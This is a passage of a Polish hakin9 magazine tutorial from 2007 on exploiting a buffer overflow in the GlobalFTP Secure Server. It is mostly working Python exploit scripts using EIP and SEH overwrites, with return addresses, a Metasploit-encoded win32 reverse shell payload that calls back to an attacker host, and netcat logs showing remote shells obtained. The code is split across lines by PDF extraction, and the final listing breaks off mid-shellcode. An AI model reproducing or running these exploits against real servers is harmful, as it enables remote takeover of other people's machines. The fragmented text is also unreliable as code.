przekierowani do naszego breakpo-

int shellcode'u (\xCC). Zamieniamy
teraz breakpointy na paskudny live

win32 reverse shellcode (wzięty ze
strony Metasploit). Będziemy używać
enkodera PexAlphaNum, żeby dosto-
sować się do schematu filtrowania
znaków GSFTPS. Zobacz Listing 5.

Podczas działania exploita do-

chodzi do wykonania naszego kodu

Listing 2.

Unikalny string 3000 bajtów

bt

~ #

genbuf

.

pl

3000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad
9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8A
h9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8
Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap
8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7A
t8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7
Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb
7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6B
f7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6
Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn
6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5B
r6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5
Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz
5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4C
d5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4
Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl
4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3C
p4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3
Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx
3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2D
b3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2
Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj
2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1D
n2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1
Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv
1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9
bt

~ #

background image

Offensive Security

hakin9 Nr 7/2007

www.hakin9.org

15

– i do naszych drzwi puka reverse

shell. Zobacz Listing 6.

Nadużycie SEH

Podczas dalszego badania crashu
zauważyłem, że to samo przepeł-
nienie nadpisuje funkcję Structured

Exception Handler (SEH). SEH jest
wywoływana, kiedy w programie zo-
stanie złapany wyjątek. Nadpisując

SEH i powodując wyjątek, może-
my jeszcze raz przejąć kontrolę nad
strumieniem wykonawczym.

Używając metod opisanych po-

wyżej odkryłem, że kod SEH został
nadpisany przez bajty 2100-2103.
Następny skrypt spowodował crash
przedstawiony na Rysunku 7. Za-
uważmy, że aby przekazać wyjątek
do SEH, trzeba wcisnąć CTRL+F9 w

Olly po wstępnym crashu. Rysunek 8
zawiera nadpisany kod. Był to szkie-
let skryptu. Zobacz Listing 7.

Kiedy wyjątek zostanie przekaza-

ny przy użyciu CTRL+F9, otrzymuje-
my crash, tak, jak zostało to pokaza-
ne na Rysunku 9.

Dodatkowo widzimy, że rejestr

EBX pokazuje resztę danych pocho-
dzących od naszego użytkownika,
tak więc skok do EBX jest w porząd-
ku. Użyjemy 4 B do (krótkiego) skoku
przez podrobiony kod SEH, żeby
wylądować w naszym shellcode.
Zobacz Listing 8 i Listing 9.

Rysunek 5.

Szkielet exploita

Rysunek 4.

Dostępna przestrzeń dla shellcode'u

Listing 3.

Modyfikacja PoC

#!/usr/bin/python

import

socket

import

struct

import

time

ret

=

“\

x42

\

x42

\

x42

\

x42

buffer

=

'\

x41

'

*

2043

+

ret

+

\

x43

*

4

+

'\

x44

'

*

949

#

Total

3000

bytes

!

s

=

socket

.

socket

(

socket

.

AF_INET

,

socket

.

SOCK_STREAM

)

connect

=

s

.

connect

((

'

192.168

.

0.100

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

Listing 4.

Przykład exploit

zwracający poprawny adres

#!/usr/bin/python

import

socket

import

struct

import

time

ret

=

"

\x

bb

\x

ed

\x

4f

\x

7c"

buffer

=

'\

x41

'

*

2043

+

ret

+

"

\x

43"

*

4

+

'\

xCC

'

*

949

#

Total

3000

bytes

!

s

=

socket

.

socket

(

socket

.

AF_INET

,

socket

.

SOCK_STREAM

)

connect

=

s

.

connect0

((

'

192.168

.

0.100

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

16

Świetnie, ale co dalej? Jedy-

nym problemem na tym etapie by-
ło to, że nie znałem wersji systemu
operacyjnego ofiary. Jak zobaczyli-

śmy wcześniej, użyte przez nas ad-
resy powrotne są zależne od syste-
mu operacyjnego, tak więc miałbym
tylko jedną próbę wykonania explo-

ita przeciwko danemu użytkowniko-
wi. Podejrzewałem, że na serwerze
działał albo Windows 2000 SP4, al-
bo Windows 2003 Sp0 – co dawa-
ło mi 50% szans uzyskania dostępu
do serwera – szansa, z której nie za-
mierzałem skorzystać.

Skonsultowałem się z moim miej-

scowym guru od przepełnień bufora,
który zaproponował, żebym spróbo-
wał napisać exploit podwójnego ad-

resu powrotnego. Po kilku tequilach
zaczęło to mieć sens.

Listing 5.

EIP overwrite exploit

#!/usr/bin/python

import

socket

import

struct

import

time

ret

=

"

\x

bb

\x

ed

\x

4f

\x

7c"

#win32_reverse - EXITFUNC=seh LHOST=192.168.0.112 LPORT=4321

Size

=

649

Encoder

=

PexAlphaNum

shellcode

=

(

"

\x

eb

\x

03

\x

59

\x

eb

\x

05

\x

e8

\x

f8

\x

ff

\x

ff

\x

ff

\x

4f

\x

49

\x

49

\x

49

\x

49

\x

49"

"

\x

49

\x

51

\x

5a

\x

56

\x

54

\x

58

\x

36

\x

33

\x

30

\x

56

\x

58

\x

34

\x

41

\x

30

\x

42

\x

36"

"

\x

48

\x

48

\x

30

\x

42

\x

33

\x

30

\x

42

\x

43

\x

56

\x

58

\x

32

\x

42

\x

44

\x

42

\x

48

\x

34"

"

\x

41

\x

32

\x

41

\x

44

\x

30

\x

41

\x

44

\x

54

\x

42

\x

44

\x

51

\x

42

\x

30

\x

41

\x

44

\x

41"

"

\x

56

\x

58

\x

34

\x

5a

\x

38

\x

42

\x

44

\x

4a

\x

4f

\x

4d

\x

4e

\x

4f

\x

4c

\x

36

\x

4b

\x

4e"

"

\x

4d

\x

44

\x

4a

\x

4e

\x

49

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

42

\x

56

\x

4b

\x

38"

"

\x

4e

\x

36

\x

46

\x

42

\x

46

\x

42

\x

4b

\x

38

\x

45

\x

44

\x

4e

\x

53

\x

4b

\x

48

\x

4e

\x

47"

"

\x

45

\x

50

\x

4a

\x

57

\x

41

\x

50

\x

4f

\x

4e

\x

4b

\x

38

\x

4f

\x

34

\x

4a

\x

51

\x

4b

\x

58"

"

\x

4f

\x

55

\x

42

\x

42

\x

41

\x

50

\x

4b

\x

4e

\x

49

\x

34

\x

4b

\x

38

\x

46

\x

53

\x

4b

\x

38"

"

\x

41

\x

50

\x

50

\x

4e

\x

41

\x

43

\x

42

\x

4c

\x

49

\x

39

\x

4e

\x

4a

\x

46

\x

58

\x

42

\x

4c"

"

\x

46

\x

57

\x

47

\x

30

\x

41

\x

4c

\x

4c

\x

4c

\x

4d

\x

50

\x

41

\x

30

\x

44

\x

4c

\x

4b

\x

4e"

"

\x

46

\x

4f

\x

4b

\x

33

\x

46

\x

35

\x

46

\x

42

\x

4a

\x

52

\x

45

\x

37

\x

45

\x

4e

\x

4b

\x

38"

"

\x

4f

\x

55

\x

46

\x

52

\x

41

\x

50

\x

4b

\x

4e

\x

48

\x

36

\x

4b

\x

48

\x

4e

\x

50

\x

4b

\x

44"

"

\x

4b

\x

48

\x

4f

\x

55

\x

4e

\x

31

\x

41

\x

30

\x

4b

\x

4e

\x

43

\x

50

\x

4e

\x

32

\x

4b

\x

38"

"

\x

49

\x

38

\x

4e

\x

36

\x

46

\x

42

\x

4e

\x

31

\x

41

\x

46

\x

43

\x

4c

\x

41

\x

33

\x

4b

\x

4d"

"

\x

46

\x

56

\x

4b

\x

38

\x

43

\x

44

\x

42

\x

53

\x

4b

\x

48

\x

42

\x

54

\x

4e

\x

50

\x

4b

\x

48"

"

\x

42

\x

37

\x

4e

\x

41

\x

4d

\x

4a

\x

4b

\x

58

\x

42

\x

54

\x

4a

\x

50

\x

50

\x

55

\x

4a

\x

56"

"

\x

50

\x

38

\x

50

\x

44

\x

50

\x

50

\x

4e

\x

4e

\x

42

\x

55

\x

4f

\x

4f

\x

48

\x

4d

\x

48

\x

46"

"

\x

43

\x

55

\x

48

\x

46

\x

4a

\x

56

\x

43

\x

33

\x

44

\x

53

\x

4a

\x

56

\x

47

\x

37

\x

43

\x

37"

"

\x

44

\x

43

\x

4f

\x

55

\x

46

\x

35

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

4b

\x

4c

\x

4d

\x

4e"

"

\x

4e

\x

4f

\x

4b

\x

33

\x

42

\x

35

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

35

\x

49

\x

48

\x

45

\x

4e"

"

\x

48

\x

46

\x

41

\x

48

\x

4d

\x

4e

\x

4a

\x

50

\x

44

\x

50

\x

45

\x

55

\x

4c

\x

56

\x

44

\x

30"

"

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

49

\x

4d

\x

49

\x

50

\x

45

\x

4f

\x

4d

\x

4a

\x

47

\x

45"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

43

\x

35

\x

43

\x

55

\x

43

\x

35

\x

43

\x

55

\x

43

\x

34

\x

43

\x

45"

"

\x

43

\x

44

\x

43

\x

45

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

42

\x

4c

\x

4a

\x

4a

\x

42

\x

50"

"

\x

42

\x

47

\x

48

\x

56

\x

4a

\x

56

\x

42

\x

51

\x

41

\x

4e

\x

48

\x

56

\x

43

\x

35

\x

49

\x

38"

"

\x

41

\x

4e

\x

45

\x

49

\x

4a

\x

46

\x

4e

\x

4e

\x

49

\x

4f

\x

4c

\x

4a

\x

42

\x

36

\x

47

\x

45"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

4c

\x

56

\x

42

\x

31

\x

41

\x

35

\x

45

\x

55

\x

4f

\x

4f

\x

42

\x

4d"

"

\x

48

\x

56

\x

4c

\x

46

\x

46

\x

56

\x

48

\x

36

\x

4a

\x

56

\x

43

\x

36

\x

4d

\x

56

\x

4c

\x

36"

"

\x

42

\x

35

\x

49

\x

35

\x

49

\x

42

\x

4e

\x

4c

\x

49

\x

48

\x

47

\x

4e

\x

4c

\x

56

\x

46

\x

44"

"

\x

49

\x

38

\x

44

\x

4e

\x

41

\x

43

\x

42

\x

4c

\x

43

\x

4f

\x

4c

\x

4a

\x

45

\x

49

\x

49

\x

38"

"

\x

4d

\x

4f

\x

50

\x

4f

\x

44

\x

44

\x

4d

\x

52

\x

50

\x

4f

\x

44

\x

54

\x

4e

\x

52

\x

4d

\x

38"

"

\x

4c

\x

47

\x

4a

\x

33

\x

4b

\x

4a

\x

4b

\x

4a

\x

4b

\x

4a

\x

4a

\x

36

\x

44

\x

57

\x

50

\x

4f"

"

\x

43

\x

4b

\x

48

\x

41

\x

4f

\x

4f

\x

45

\x

37

\x

4a

\x

52

\x

4f

\x

4f

\x

48

\x

4d

\x

4b

\x

35"

"

\x

47

\x

55

\x

44

\x

35

\x

41

\x

45

\x

41

\x

55

\x

41

\x

35

\x

4c

\x

36

\x

41

\x

30

\x

41

\x

55"

"

\x

41

\x

55

\x

45

\x

55

\x

41

\x

55

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

4d

\x

4a

\x

49

\x

4d"

"

\x

45

\x

30

\x

50

\x

4c

\x

43

\x

55

\x

4f

\x

4f

\x

48

\x

4d

\x

4c

\x

36

\x

4f

\x

4f

\x

4f

\x

4f"

"

\x

47

\x

43

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

47

\x

4e

\x

49

\x

47

\x

48

\x

4c

\x

49

\x

37"

"

\x

4f

\x

4f

\x

45

\x

47

\x

46

\x

50

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

4f

\x

47

\x

37

\x

4e

\x

4f"

"

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

42

\x

4f

\x

4c

\x

48

\x

46

\x

50

\x

4f

\x

45

\x

43

\x

55"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

4f

\x

42

\x

4d

\x

5a"

)

buffer

=

'\

x41

'

*

2043

+

ret

+

"

\x

90"

*

4

+

shellcode

+

'\

xCC

'

*

296

s

=

socket

.

socket

(

socket

.

AF_INET

,

socket

.

SOCK_STREAM

)

connect

=

s

.

connect

((

'

192.168

.

0.100

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

Listing 6.

Pobieranie informacji

z linii komend w Windows 2000

SP4

bt

~ #

nc

-

lvp

4321

listening

on

[

any

]

4321

connect

to

[

192.168

.

0.112

]

from

ftp

.

localdomain

[

192.168

.

0.100

]

1215

Microsoft

Windows

2000

[

Version

5.00

.

2195

]

(

C

)

Copyright

1985

-

2000

Microsoft

Corp

.

C

:

\

WINNT

\

system32

>

ipconfig

ipconfig

Windows

2000

IP

Configuration

Ethernet

adapter

Local

Area

Connection

:

Connection

-

specific

DNS

Suffix

localdomain

IP

Address

. . . .

192.168

.

0.100

Subnet

Mask

. . .

255.255

.

255.0

Default

Gateway

. . .

192.168

.

0.1

C

:

\

WINNT

\

system32

>

Listing 7.

Szkielet exploit dla

SEH overwrite

#!/usr/bin/python

import

socket

import

struct

import

time

buffer

=

'\

x41

'

*

2099

+

'\

x42

'

*

4

+

'

\

x43

'

*

4

+

'\

x44

'

*

900

try

:

s

=

socket

.

socket

(

socket

.

AF_INET

,

socket

.

SOCK_STREAM

)

connect

=

s

.

connect

((

'

192.168

.

0.110

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

except

:

print

"Can't connect to ftp"

background image

Offensive Security

hakin9 Nr 7/2007

www.hakin9.org

17

Zdałem sobie sprawę z tego, że

mógłbym wykorzystać ten interesu-
jący crash (zarówno EIP jak i SEH)
do stworzenia planu zapasowego we-
wnątrz exploita. Użyłbym oryginal-
nego exploita Win2k SP4 i zmodyfi-
kował go nieznacznie, aby nadpisać
SEH Windows 2003. W ten sposób,
jeśli systemem ofiary byłby Windows
2000 SP4, exploit zadziałałby normal-
nie. Jeśli natomiast systemem byłby
Windows 2003, oryginalny exploit nie
zadziałałby i nastąpiłoby wywołanie
funkcji SEH, której kod byłby już nad-
pisany przez drugi adres powrotny

Analizując przepełnienie SEH

w Windows 2003 zobaczyłem, że
potrzebowałbym pop pop ret, aby
powrócić do mojego shellcode'u.
Znalazłem następujący fragment

kodu w AuthManager.dll (dll będący
częścią GSFTPS):

10010216 5F POP EDI
10010217 5E POP ESI
10010218 C3 RETN

Odpowiadało to moim potrze-
bom, zwłaszcza dlatego, że adres
10010216 również podporządkowu-
je się schematowi filtrowania znaków
GSFTPS. Po pewnych przeróbkach
miałem projekt następującego szkie-
letu exploita:

buffer = '\x41'*2043 + “\x42”*4

+ "\x90"*52 +“\x43”*4 +“\x44”*4+'\
xCC'*941

. gdzie:

• \x42 = adres powrotny dla Win-

dows 2000 SP4

• \x43 = Short Jump do shellcode-

'u

• \x44 = adres pop pop ret dla po-

wrotu Windows 2003 do shelco-
de'u
Oto próba graficznego opisu

strumienia wykonawczego. Zobacz
Rysunek 10.

Rysunek 8.

Nadpisany kod SEH

Rysunek 7.

Nadpisana funkcja SEH

Rysunek 6.

Skok do naszego shellcode'u

Listing. 8.

SEH Overwrite

exploit

#!/usr/bin/python

import

socket

import

struct

import

time

buffer

=

'\

x41

'

*

2099

+

'\

xEB

\

x06

\

x06

\

xEB

'+'\

xb2

\

x54

\

x53

\

x7c

'+'\

x90

'

*

59

+

sc

s

=

socket

.

socket

(

socket

.

AF_INET

,

socket

.

SOCK_STREAM

)

print

"

\n

[+] Evil GlobalFTP 3.0

Secure Server Exploit"

print

"[+] Coded by muts"

connect

=

s

.

connect

((

'

192.168

.

0.110

',

21

))

d

=

s

.

recv

(

1024

)

print

"[+] "

+

d

print

"[+] Sending Username"

time

.

sleep

(

1

)

s

.

send

(

'

USER

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

print

"[+] Sending Password"

time

.

sleep

(

1

)

s

.

send

(

'

PASS

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

print

"[+] Sending evil buffer"

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

Listing 9.

Zwrotny Shell

z Windows 2000

bt

~ #

nc

-

lvp

4321

listening

on

[

any

]

4321

...

connect

to

[

192.168

.

0.112

]

from

97

DACBEC7CA4483

.

localdomain

[

192.168

.

0.100

]

1041

Microsoft

Windows

2000

[

Version

5.00

.

2195

]

(

C

)

Copyright

1985

-

2000

Microsoft

Corp

.

C

:

\

WINNT

\

system32

>

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

18

Listing 10.

Ostateczna wersja

#!/usr/bin/python

import

socket

import

struct

import

time

#

ret

=

"

\x

41

\x

41

\x

41

\x

41"

ret

=

"

\x

bb

\x

ed

\x

4f

\x

7c"

# POP POP RET IN AuthManager.dll Windows 2003 SP0

#10010216 5F POP EDI

#10010217 5E POP ESI

#10010218 C3 RETN

# CALL ESP in Kernel32.dll Windows 2000 SP4

# 7C4FEDBB FFD4 CALL ESP

#win32_reverse - EXITFUNC=seh LHOST=192.168.0.112 LPORT=4321 Size=649 Encoder=PexAlphaNum http://metasploit.com */

shellcode

=(

"

\x

eb

\x

03

\x

59

\x

eb

\x

05

\x

e8

\x

f8

\x

ff

\x

ff

\x

ff

\x

4f

\x

49

\x

49

\x

49

\x

49

\x

49"

"

\x

49

\x

51

\x

5a

\x

56

\x

54

\x

58

\x

36

\x

33

\x

30

\x

56

\x

58

\x

34

\x

41

\x

30

\x

42

\x

36"

"

\x

48

\x

48

\x

30

\x

42

\x

33

\x

30

\x

42

\x

43

\x

56

\x

58

\x

32

\x

42

\x

44

\x

42

\x

48

\x

34"

"

\x

41

\x

32

\x

41

\x

44

\x

30

\x

41

\x

44

\x

54

\x

42

\x

44

\x

51

\x

42

\x

30

\x

41

\x

44

\x

41"

"

\x

56

\x

58

\x

34

\x

5a

\x

38

\x

42

\x

44

\x

4a

\x

4f

\x

4d

\x

4e

\x

4f

\x

4c

\x

36

\x

4b

\x

4e"

"

\x

4d

\x

44

\x

4a

\x

4e

\x

49

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

4f

\x

42

\x

56

\x

4b

\x

38"

"

\x

4e

\x

36

\x

46

\x

42

\x

46

\x

42

\x

4b

\x

38

\x

45

\x

44

\x

4e

\x

53

\x

4b

\x

48

\x

4e

\x

47"

"

\x

45

\x

50

\x

4a

\x

57

\x

41

\x

50

\x

4f

\x

4e

\x

4b

\x

38

\x

4f

\x

34

\x

4a

\x

51

\x

4b

\x

58"

"

\x

4f

\x

55

\x

42

\x

42

\x

41

\x

50

\x

4b

\x

4e

\x

49

\x

34

\x

4b

\x

38

\x

46

\x

53

\x

4b

\x

38"

"

\x

41

\x

50

\x

50

\x

4e

\x

41

\x

43

\x

42

\x

4c

\x

49

\x

39

\x

4e

\x

4a

\x

46

\x

58

\x

42

\x

4c"

"

\x

46

\x

57

\x

47

\x

30

\x

41

\x

4c

\x

4c

\x

4c

\x

4d

\x

50

\x

41

\x

30

\x

44

\x

4c

\x

4b

\x

4e"

"

\x

46

\x

4f

\x

4b

\x

33

\x

46

\x

35

\x

46

\x

42

\x

4a

\x

52

\x

45

\x

37

\x

45

\x

4e

\x

4b

\x

38"

"

\x

4f

\x

55

\x

46

\x

52

\x

41

\x

50

\x

4b

\x

4e

\x

48

\x

36

\x

4b

\x

48

\x

4e

\x

50

\x

4b

\x

44"

"

\x

4b

\x

48

\x

4f

\x

55

\x

4e

\x

31

\x

41

\x

30

\x

4b

\x

4e

\x

43

\x

50

\x

4e

\x

32

\x

4b

\x

38"

"

\x

49

\x

38

\x

4e

\x

36

\x

46

\x

42

\x

4e

\x

31

\x

41

\x

46

\x

43

\x

4c

\x

41

\x

33

\x

4b

\x

4d"

"

\x

46

\x

56

\x

4b

\x

38

\x

43

\x

44

\x

42

\x

53

\x

4b

\x

48

\x

42

\x

54

\x

4e

\x

50

\x

4b

\x

48"

"

\x

42

\x

37

\x

4e

\x

41

\x

4d

\x

4a

\x

4b

\x

58

\x

42

\x

54

\x

4a

\x

50

\x

50

\x

55

\x

4a

\x

56"

"

\x

50

\x

38

\x

50

\x

44

\x

50

\x

50

\x

4e

\x

4e

\x

42

\x

55

\x

4f

\x

4f

\x

48

\x

4d

\x

48

\x

46"

"

\x

43

\x

55

\x

48

\x

46

\x

4a

\x

56

\x

43

\x

33

\x

44

\x

53

\x

4a

\x

56

\x

47

\x

37

\x

43

\x

37"

"

\x

44

\x

43

\x

4f

\x

55

\x

46

\x

35

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

4b

\x

4c

\x

4d

\x

4e"

"

\x

4e

\x

4f

\x

4b

\x

33

\x

42

\x

35

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

35

\x

49

\x

48

\x

45

\x

4e"

"

\x

48

\x

46

\x

41

\x

48

\x

4d

\x

4e

\x

4a

\x

50

\x

44

\x

50

\x

45

\x

55

\x

4c

\x

56

\x

44

\x

30"

"

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

49

\x

4d

\x

49

\x

50

\x

45

\x

4f

\x

4d

\x

4a

\x

47

\x

45"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

43

\x

35

\x

43

\x

55

\x

43

\x

35

\x

43

\x

55

\x

43

\x

34

\x

43

\x

45"

"

\x

43

\x

44

\x

43

\x

45

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

42

\x

4c

\x

4a

\x

4a

\x

42

\x

50"

"

\x

42

\x

47

\x

48

\x

56

\x

4a

\x

56

\x

42

\x

51

\x

41

\x

4e

\x

48

\x

56

\x

43

\x

35

\x

49

\x

38"

"

\x

41

\x

4e

\x

45

\x

49

\x

4a

\x

46

\x

4e

\x

4e

\x

49

\x

4f

\x

4c

\x

4a

\x

42

\x

36

\x

47

\x

45"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

4c

\x

56

\x

42

\x

31

\x

41

\x

35

\x

45

\x

55

\x

4f

\x

4f

\x

42

\x

4d"

"

\x

48

\x

56

\x

4c

\x

46

\x

46

\x

56

\x

48

\x

36

\x

4a

\x

56

